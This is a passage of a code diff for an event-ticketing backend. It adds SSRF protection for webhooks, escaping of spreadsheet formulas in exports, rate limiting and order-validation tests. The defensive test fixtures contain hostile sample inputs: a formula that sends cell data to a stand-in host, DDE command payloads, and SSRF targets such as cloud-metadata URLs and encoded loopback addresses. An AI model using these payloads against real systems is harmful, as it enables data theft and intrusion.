FILTER_FLAG_NO_RES_RANGE) === false) { + return false; + } + + if (str_starts_with($normalised, '169.254.')) { + return false; + } + + $binary = @inet_pton($normalised); + + if ($binary !== false && strlen($binary) === 16) { + $firstByte = ord($binary[0]); + + if (($firstByte & 0xFE) === 0xFC) { + return false; + } + + if ($firstByte === 0xFE && (ord($binary[1]) & 0xC0) === 0x80) { + return false; + } + } + + return true; + } + + private function normaliseToRoutableIp(string $ipAddress): string + { + $binary = @inet_pton($ipAddress); + + if ($binary === false || strlen($binary) !== 16) { + return $ipAddress; + } + + $embeddedIpv4 = $this->extractEmbeddedIpv4($binary); + + return $embeddedIpv4 ?? $ipAddress; + } + + private function extractEmbeddedIpv4(string $binary): ?string + { + $ipv4MappedPrefix = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff"; + $nat64Prefix = "\x00\x64\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00"; + $teredoPrefix = "\x20\x01\x00\x00"; + $sixToFourPrefix = "\x20\x02"; + + if (str_starts_with($binary, $ipv4MappedPrefix) || str_starts_with($binary, $nat64Prefix)) { + return inet_ntop(substr($binary, 12)); + } + + if (str_starts_with($binary, $sixToFourPrefix)) { + return inet_ntop(substr($binary, 2, 4)); + } + + if (str_starts_with($binary, $teredoPrefix)) { + return inet_ntop(substr($binary, 12) ^ "\xff\xff\xff\xff"); + } + + if (str_starts_with($binary, str_repeat("\x00", 12)) && substr($binary, 12) !== "\x00\x00\x00\x00") { + return inet_ntop(substr($binary, 12)); + } + + return null; + } + + private function unwrapIpv6Literal(string $host): string + { + if (str_starts_with($host, '[') && str_ends_with($host, ']')) { + return substr($host, 1, -1); + } + + return $host; + } + + private function hasBlockedTld(string $host): bool + { + foreach (self::BLOCKED_TLDS as $tld) { + if (str_ends_with($host, $tld)) { + return true; + } + } + + return false; + } + + private function isCloudMetadataHost(string $host): bool + { + foreach (self::CLOUD_METADATA_HOSTS as $metadataHost) { + if ($host === $metadataHost || str_ends_with($host, '.'.$metadataHost)) { + return true; + } + } + + return false; + } + + private function isWhitelistedHost(string $host): bool + { + $whitelistedHosts = Config::string('app.allowed_internal_webhook_hosts'); + + if (empty($whitelistedHosts)) { + return false; + } + + $allowedList = array_filter(array_map('trim', explode(',', $whitelistedHosts))); + + if (in_array($host, $allowedList, true)) { + return true; + } + + $resolved = gethostbyname($host); + + return $resolved !== $host && in_array($resolved, $allowedList, true); + } +} diff --git a/backend/app/Validators/Rules/NoInternalUrlRule.php b/backend/app/Validators/Rules/NoInternalUrlRule.php index a24c1df239..ddd437cd66 100644 --- a/backend/app/Validators/Rules/NoInternalUrlRule.php +++ b/backend/app/Validators/Rules/NoInternalUrlRule.php @@ -3,29 +3,17 @@ namespace HiEvents\Validators\Rules; use Closure; +use HiEvents\Exceptions\UnsafeWebhookUrlException; +use HiEvents\Services\Infrastructure\Webhook\WebhookUrlValidator; use Illuminate\Contracts\Validation\ValidationRule; -use Illuminate\Support\Facades\Config; class NoInternalUrlRule implements ValidationRule { - private const ALLOWED_SCHEMES = ['http', 'https']; - - private const BLOCKED_HOSTS = [ - 'localhost', - '127.0.0.1', - '::1', - '0.0.0.0', - ]; - - private const BLOCKED_TLDS = [ - '.localhost', - ]; - - private const CLOUD_METADATA_HOSTS = [ - '169.254.169.254', - 'metadata.google.internal', - 'metadata.goog', - ]; + public function __construct( + private readonly ?WebhookUrlValidator $validator = null, + ) + { + } public function validate(string $attribute, mixed $value, Closure $fail): void { @@ -34,133 +22,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void return; } - $parsedUrl = parse_url($value); - if ($parsedUrl === false || !isset($parsedUrl['host'])) { - $fail(__('The :attribute must be a valid URL.')); - return; - } - - $scheme = strtolower($parsedUrl['scheme'] ?? ''); - if (!in_array($scheme, self::ALLOWED_SCHEMES, true)) { - $fail(__('The :attribute must use http or https protocol.')); - return; - } - - $host = strtolower($parsedUrl['host']); - - // Handle IPv6 addresses wrapped in brackets - if (str_starts_with($host, '[') && str_ends_with($host, ']')) { - $host = substr($host, 1, -1); - } - - // Handle NoInternalIP/Host Exceptions - if ($this->isWhitelistedHost($host)) { - return; - } - - if ($this->isBlockedHost($host)) { - $fail(__('The :attribute cannot point to localhost or internal addresses.')); - return; - } - - if ($this->isBlockedTld($host)) { - $fail(__('The :attribute cannot use reserved domain names.')); - return; - } - - if ($this->isCloudMetadataHost($host)) { - $fail(__('The :attribute cannot point to cloud metadata endpoints.')); - return; - } - - if ($this->isPrivateIpAddress($host)) { - $fail(__('The :attribute cannot point to private or internal IP addresses.')); - return; - } - } - - private function isBlockedHost(string $host): bool - { - return in_array($host, self::BLOCKED_HOSTS, true); - } - - private function isBlockedTld(string $host): bool - { - foreach (self::BLOCKED_TLDS as $tld) { - if (str_ends_with($host, $tld)) { - return true; - } - } - return false; - } - - private function isCloudMetadataHost(string $host): bool - { - foreach (self::CLOUD_METADATA_HOSTS as $metadataHost) { - if ($host === $metadataHost || str_ends_with($host, '.' . $metadataHost)) { - return true; - } - } - return false; - } - - private function isPrivateIpAddress(string $host): bool - { - $ip = $this->resolveAndNormalize($host); - - if ($ip === false) { - return true; - } - - if (!filter_var($ip, FILTER_VALIDATE_IP)) { - return true; - } - - if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { - return true; - } - - if (str_starts_with($ip, '169.254.')) { - return true; - } - - return false; - } - - private function resolveAndNormalize(string $host): string|false - { - if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { - $binary = inet_pton($host); - if ($binary !== false && strlen($binary) === 16) { - $prefix = substr($binary, 0, 12); - if ($prefix === "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") { - return inet_ntop(substr($binary, 12)); - } - } - return $host; - } - - if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { - return $host; - } - - $ip = gethostbyname($host); - if ($ip === $host) { - return false; - } - - return $ip; - } - - private function isWhitelistedHost(string $host): bool - { - $whitelistedHosts = Config::string('app.allowed_internal_webhook_hosts'); - if (!empty($whitelistedHosts)) { - $allowedList = array_filter(array_map('trim', explode(',', $whitelistedHosts))); - if (in_array($host, $allowedList) || in_array(gethostbyname($host), $allowedList)) { - return true; - } + try { + ($this->validator ?? app(WebhookUrlValidator::class))->validate($value); + } catch (UnsafeWebhookUrlException $exception) { + $fail($exception->getMessage()); } - return false; } -} \ No newline at end of file +} diff --git a/backend/config/excel.php b/backend/config/excel.php index 987883ea71..65c2c06389 100644 --- a/backend/config/excel.php +++ b/backend/config/excel.php @@ -208,7 +208,7 @@ | */ 'value_binder' => [ - 'default' => Maatwebsite\Excel\DefaultValueBinder::class, + 'default' => HiEvents\Exports\ValueBinders\FormulaSafeValueBinder::class, ], 'cache' => [ diff --git a/backend/config/webhook-server.php b/backend/config/webhook-server.php index cd54853f1f..d9bbe05b56 100644 --- a/backend/config/webhook-server.php +++ b/backend/config/webhook-server.php @@ -63,7 +63,7 @@ /* * This class is used to dispatch webhooks onto the queue. */ - 'webhook_job' => \Spatie\WebhookServer\CallWebhookJob::class, + 'webhook_job' => \HiEvents\Jobs\Webhook\SecureCallWebhookJob::class, /* * By default we will verify that the ssl certificate of the destination diff --git a/backend/routes/api.php b/backend/routes/api.php index 75f0459c9c..e63c65482d 100644 --- a/backend/routes/api.php +++ b/backend/routes/api.php @@ -522,7 +522,8 @@ function (Router $router): void { ->middleware('throttle:10,1'); // Promo codes - $router->get('/events/{event_id}/promo-codes/{promo_code}', GetPromoCodePublic::class); + $router->get('/events/{event_id}/promo-codes/{promo_code}', GetPromoCodePublic::class) + ->middleware('throttle:10,1'); // Stripe payment gateway $router->post('/events/{event_id}/order/{order_short_id}/stripe/payment_intent', CreatePaymentIntentActionPublic::class); diff --git a/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php b/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php index 4d820ff70c..a1b1f3ee8c 100644 --- a/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php +++ b/backend/tests/Unit/Services/Application/Handlers/Order/CompleteOrderHandlerTest.php @@ -40,6 +40,8 @@ class CompleteOrderHandlerTest extends TestCase { + private array $executedStatements = []; + private OrderRepositoryInterface|MockInterface $orderRepository; private AttendeeRepositoryInterface|MockInterface $attendeeRepository; private QuestionAnswerRepositoryInterface|MockInterface $questionAnswersRepository; @@ -58,6 +60,11 @@ protected function setUp(): void Mail::fake(); Bus::fake(); DB::shouldReceive('transaction')->andReturnUsing(fn($callback) => $callback(Mockery::mock(Connection::class))); + $this->executedStatements = []; + DB::shouldReceive('statement')->andReturnUsing(function (string $sql, array $bindings = []) { + $this->executedStatements[] = [$sql, $bindings]; + return true; + }); $this->orderRepository = Mockery::mock(OrderRepositoryInterface::class); $this->attendeeRepository = Mockery::mock(AttendeeRepositoryInterface::class); @@ -115,6 +122,34 @@ public function testHandleSuccessfullyCompletesOrder(): void $this->assertTrue(true); } + public function testHandleTakesAnAdvisoryLockKeyedOnTheOrderBeforeReadingIt(): void + { + $orderShortId = 'ABC123'; + $orderData = $this->createMockCompleteOrderDTO(); + $order = $this->createMockOrder(); + $updatedOrder = $this->createMockOrder(); + + $this->orderRepository->shouldReceive('findByShortId')->with($orderShortId)->andReturn($order); + $this->orderRepository->shouldReceive('loadRelation')->andReturnSelf(); + $this->orderRepository->shouldReceive('updateFromArray')->andReturn($updatedOrder); + + $this->productPriceRepository->shouldReceive('findWhereIn')->andReturn(new Collection([$this->createMockProductPrice()])); + + $this->attendeeRepository->shouldReceive('insert')->andReturn(true); + $this->attendeeRepository->shouldReceive('findWhereIn')->andReturn(new Collection([$this->createMockAttendee()])); + + $this->productQuantityUpdateService->shouldReceive('updateQuantitiesFromOrder'); + + $this->eventSettingsRepository->shouldReceive('findFirstWhere')->andReturn($this->createMockEventSetting()); + + $this->completeOrderHandler->handle($orderShortId, $orderData); + + $this->assertSame( + [['SELECT pg_advisory_xact_lock(hashtext(?))', [$orderShortId]]], + $this->executedStatements, + ); + } + public function testHandleThrowsResourceNotFoundExceptionWhenOrderNotFound(): void { $this->expectException(ResourceNotFoundException::class); diff --git a/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php b/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php index 31b501da22..9ef2e791d5 100644 --- a/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php +++ b/backend/tests/Unit/Services/Domain/Order/OrderCreateRequestValidationServiceTest.php @@ -411,6 +411,242 @@ public function testHiddenPriceTierIsRejected(): void $this->service->validateRequestData($eventId, $data); } + public function testProductBeforeSaleStartDateIsRejected(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Early Access'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + isBeforeSaleStartDate: true, + ); + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $this->singleProductPayload($productId, $priceId, 1)); + } + + public function testProductAfterSaleEndDateIsRejected(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Closed'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + isAfterSaleEndDate: true, + ); + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $this->singleProductPayload($productId, $priceId, 1)); + } + + public function testProductInsideSaleWindowIsAccepted(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['On Sale'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + ); + + $this->service->validateRequestData($eventId, $this->singleProductPayload($productId, $priceId, 1)); + + $this->assertTrue(true); + } + + public function testExpiredPriceTierIsRejected(): void + { + $eventId = 1; + $productId = 10; + $currentPriceId = 101; + $expiredPriceId = 102; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$currentPriceId, $expiredPriceId], + priceLabels: ['Regular', 'Early Bird'], + availabilities: [ + ['price_id' => $currentPriceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ['price_id' => $expiredPriceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + expiredPriceIds: [$expiredPriceId], + ); + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $this->singleProductPayload($productId, $expiredPriceId, 1)); + } + + public function testNotYetOnSalePriceTierIsRejected(): void + { + $eventId = 1; + $productId = 10; + $currentPriceId = 101; + $futurePriceId = 102; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$currentPriceId, $futurePriceId], + priceLabels: ['Regular', 'Late Release'], + availabilities: [ + ['price_id' => $currentPriceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ['price_id' => $futurePriceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + notYetOnSalePriceIds: [$futurePriceId], + ); + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $this->singleProductPayload($productId, $futurePriceId, 1)); + } + + public function testMaxPerOrderIsEnforcedAcrossRepeatedProductEntries(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Limited'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + maxPerOrder: 2, + ); + + $data = [ + 'products' => [ + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ], + ]; + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $data); + } + + public function testMaxPerOrderStillAllowsTheLimitAcrossRepeatedEntries(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Limited'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 50, 'quantity_reserved' => 0], + ], + maxPerOrder: 4, + ); + + $data = [ + 'products' => [ + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ], + ]; + + $this->service->validateRequestData($eventId, $data); + + $this->assertTrue(true); + } + + public function testAvailableStockIsEnforcedAcrossRepeatedProductEntries(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Scarce'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 3, 'quantity_reserved' => 0], + ], + ); + + $data = [ + 'products' => [ + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ], + ]; + + $this->expectException(ValidationException::class); + $this->service->validateRequestData($eventId, $data); + } + + public function testAvailableStockAllowsExactlyTheRemainingQuantityAcrossEntries(): void + { + $eventId = 1; + $productId = 10; + $priceId = 101; + + $this->setupMocks( + eventId: $eventId, + productId: $productId, + priceIds: [$priceId], + priceLabels: ['Scarce'], + availabilities: [ + ['price_id' => $priceId, 'quantity_available' => 3, 'quantity_reserved' => 0], + ], + ); + + $data = [ + 'products' => [ + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 2]]], + ['product_id' => $productId, 'quantities' => [['price_id' => $priceId, 'quantity' => 1]]], + ], + ]; + + $this->service->validateRequestData($eventId, $data); + + $this->assertTrue(true); + } + + private function singleProductPayload(int $productId, int $priceId, int $quantity): array + { + return [ + 'products' => [ + [ + 'product_id' => $productId, + 'quantities' => [ + ['price_id' => $priceId, 'quantity' => $quantity], + ], + ], + ], + ]; + } + private function setupMocks( int $eventId, int $productId, @@ -422,6 +658,11 @@ private function setupMocks( bool $isHidden = false, bool $isHiddenWithoutPromoCode = false, array $hiddenPriceIds = [], + bool $isBeforeSaleStartDate = false, + bool $isAfterSaleEndDate = false, + array $expiredPriceIds = [], + array $notYetOnSalePriceIds = [], + ?int $maxPerOrder = null, ): void { $event = Mockery::mock(EventDomainObject::class); @@ -437,6 +678,8 @@ private function setupMocks( $price->shouldReceive('getId')->andReturn($priceId); $price->shouldReceive('getLabel')->andReturn($priceLabels[$i] ?? null); $price->shouldReceive('getIsHidden')->andReturn(in_array($priceId, $hiddenPriceIds, true)); + $price->shouldReceive('isBeforeSaleStartDate')->andReturn(in_array($priceId, $notYetOnSalePriceIds, true)); + $price->shouldReceive('isAfterSaleEndDate')->andReturn(in_array($priceId, $expiredPriceIds, true)); $productPrices->push($price); } @@ -444,13 +687,15 @@ private function setupMocks( $product->shouldReceive('getId')->andReturn($productId); $product->shouldReceive('getEventId')->andReturn($eventId); $product->shouldReceive('getTitle')->andReturn('Test Product'); - $product->shouldReceive('getMaxPerOrder')->andReturn(100); + $product->shouldReceive('getMaxPerOrder')->andReturn($maxPerOrder ?? 100); $product->shouldReceive('getMinPerOrder')->andReturn(1); $product->shouldReceive('isSoldOut')->andReturn(false); $product->shouldReceive('getType')->andReturn(ProductPriceType::TIERED->name); $product->shouldReceive('getProductPrices')->andReturn($productPrices); $product->shouldReceive('getIsHidden')->andReturn($isHidden); $product->shouldReceive('getIsHiddenWithoutPromoCode')->andReturn($isHiddenWithoutPromoCode); + $product->shouldReceive('isBeforeSaleStartDate')->andReturn($isBeforeSaleStartDate); + $product->shouldReceive('isAfterSaleEndDate')->andReturn($isAfterSaleEndDate); $this->productRepository->shouldReceive('loadRelation')->andReturnSelf(); $this->productRepository->shouldReceive('findWhereIn')->andReturn(new Collection([$product])); diff --git a/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php b/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php new file mode 100644 index 0000000000..415a12a9ed --- /dev/null +++ b/backend/tests/Unit/Services/Infrastructure/Export/SpreadsheetFormulaEscaperTest.php @@ -0,0 +1,75 @@ +escaper = new SpreadsheetFormulaEscaper; + } + + /** + * @dataProvider formulaProvider + */ + public function test_it_neutralises_formula_triggers(string $value): void + { + $this->assertTrue($this->escaper->isFormulaTrigger($value)); + $this->assertSame("'".$value, $this->escaper->escape($value)); + } + + public static function formulaProvider(): array + { + return [ + 'equals' => ['=1+1'], + 'hyperlink' => ['=HYPERLINK("http://evil.test?d="&A1,"Click")'], + 'cmd injection' => ['=cmd|\' /C calc\'!A0'], + 'plus' => ['+1+1'], + 'at' => ['@SUM(A1:A9)'], + 'tab' => ["\t=1+1"], + 'carriage return' => ["\r=1+1"], + 'minus formula' => ['-1+1+cmd|\' /C calc\'!A0'], + ]; + } + + /** + * @dataProvider safeValueProvider + */ + public function test_it_leaves_safe_values_untouched(mixed $value): void + { + $this->assertFalse($this->escaper->isFormulaTrigger($value)); + $this->assertSame($value, $this->escaper->escape($value)); + } + + public static function safeValueProvider(): array + { + return [ + 'plain name' => ['Ada Lovelace'], + 'email' => ['ada@example.com'], + 'empty string' => [''], + 'negative number string' => ['-50.00'], + 'positive number string' => ['+50.00'], + 'integer' => [42], + 'float' => [42.5], + 'null' => [null], + 'boolean' => [true], + ]; + } + + public function test_it_escapes_every_column_in_a_row(): void + { + $row = ['Ada Lovelace', '=1+1', '-50.00', '@SUM(A1:A9)']; + + $this->assertSame( + ['Ada Lovelace', "'=1+1", '-50.00', "'@SUM(A1:A9)"], + $this->escaper->escapeRow($row), + ); + } +} diff --git a/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php b/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php new file mode 100644 index 0000000000..99877c8b7a --- /dev/null +++ b/backend/tests/Unit/Services/Infrastructure/Webhook/WebhookUrlValidatorTest.php @@ -0,0 +1,129 @@ + '']); + + $this->validator = new WebhookUrlValidator; + } + + /** + * @dataProvider blockedUrlProvider + */ + public function test_it_rejects_urls_resolving_to_internal_addresses(string $url): void + { + $this->expectException(UnsafeWebhookUrlException::class); + + $this->validator->validate($url); + } + + public static function blockedUrlProvider(): array + { + return [ + 'localhost' => ['http://localhost/hook'], + 'loopback ipv4' => ['http://127.0.0.1/hook'], + 'loopback ipv6' => ['http://[::1]/hook'], + 'unspecified' => ['http://0.0.0.0/hook'], + 'private class a' => ['http://10.0.0.1/hook'], + 'private class b' => ['http://172.16.0.1/hook'], + 'private class c' => ['http://192.168.1.1/hook'], + 'link local' => ['http://169.254.1.1/hook'], + 'aws metadata' => ['http://169.254.169.254/latest/meta-data/'], + 'gcp metadata' => ['http://metadata.google.internal/hook'], + 'localhost tld' => ['http://service.localhost/hook'], + 'internal tld' => ['http://api.internal/hook'], + 'ipv4 mapped ipv6' => ['http://[::ffff:127.0.0.1]/hook'], + 'ipv4 mapped private' => ['http://[::ffff:10.0.0.1]/hook'], + 'six to four loopback' => ['http://[2002:7f00:1::]/hook'], + 'six to four private' => ['http://[2002:a00:1::]/hook'], + 'nat64 loopback' => ['http://[64:ff9b::7f00:1]/hook'], + 'teredo loopback' => ['http://[2001:0:0:0:0:0:80ff:fffe]/hook'], + 'ipv4 compatible' => ['http://[::7f00:1]/hook'], + 'unique local ipv6' => ['http://[fc00::1]/hook'], + 'link local ipv6' => ['http://[fe80::1]/hook'], + 'ftp scheme' => ['ftp://example.com/hook'], + 'file scheme' => ['file:///etc/passwd'], + 'gopher scheme' => ['gopher://example.com/hook'], + ]; + } + + /** + * @dataProvider allowedUrlProvider + */ + public function test_it_allows_public_addresses(string $url, string $expectedHost): void + { + $target = $this->validator->validate($url); + + $this->assertSame($expectedHost, $target->host); + } + + public static function allowedUrlProvider(): array + { + return [ + 'public ipv4' => ['https://8.8.8.8/hook', '8.8.8.8'], + 'public ipv6' => ['https://[2606:4700:4700::1111]/hook', '2606:4700:4700::1111'], + 'six to four public' => ['https://[2002:808:808::]/hook', '2002:808:808::'], + 'nat64 public' => ['https://[64:ff9b::808:808]/hook', '64:ff9b::808:808'], + ]; + } + + public function test_it_defaults_the_port_by_scheme(): void + { + $this->assertSame(443, $this->validator->validate('https://8.8.8.8/hook')->port); + $this->assertSame(80, $this->validator->validate('http://8.8.8.8/hook')->port); + $this->assertSame(8443, $this->validator->validate('https://8.8.8.8:8443/hook')->port); + } + + public function test_it_pins_the_resolved_address_for_curl(): void + { + $target = $this->validator->validate('https://8.8.8.8/hook'); + + $this->assertSame(['8.8.8.8:443:8.8.8.8'], $target->toCurlResolveEntries()); + } + + public function test_it_brackets_ipv6_addresses_in_curl_resolve_entries(): void + { + $target = $this->validator->validate('https://[2606:4700:4700::1111]/hook'); + + $this->assertSame( + ['2606:4700:4700::1111:443:[2606:4700:4700::1111]'], + $target->toCurlResolveEntries(), + ); + } + + public function test_it_pins_every_resolved_address_in_a_single_entry(): void + { + $target = new WebhookTargetDTO( + host: 'hooks.example.com', + port: 443, + ipAddresses: ['93.184.216.34', '2606:2800:220:1:248:1893:25c8:1946'], + ); + + $this->assertSame( + ['hooks.example.com:443:93.184.216.34,[2606:2800:220:1:248:1893:25c8:1946]'], + $target->toCurlResolveEntries(), + ); + } + + public function test_it_allows_explicitly_whitelisted_internal_hosts(): void + { + config(['app.allowed_internal_webhook_hosts' => '10.0.0.5']); + + $target = $this->validator->validate('http://10.0.0.5/hook'); + + $this->assertSame('10.0.0.5', $target->host); + } +}